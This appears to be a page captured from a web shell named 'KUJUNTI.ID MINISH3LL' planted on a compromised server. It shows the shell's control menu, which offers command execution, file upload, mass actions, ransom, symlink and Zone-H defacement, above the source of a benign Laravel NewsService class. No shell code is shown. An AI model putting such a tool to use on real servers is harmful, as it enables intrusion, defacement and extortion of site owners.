KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/app/Services/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/app/Services/NewsService.php


<?php
    namespace App\Services;
    
use App\Repositories\NewsRepository;

class NewsService
{
    protected $newsRepository;
    
    public function __construct(NewsRepository $newsRepository)
    {
        $this->newsRepository = $newsRepository;
    }
    
    public function getNews($limit){
       return $this->newsRepository->findNews($limit);
    }
    
    public function getNewsById($id){
        return $this->newsRepository->findNewsById($id);
    }
    
    public function getLatestNews(){
        return $this->newsRepository->findLatestNews();
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support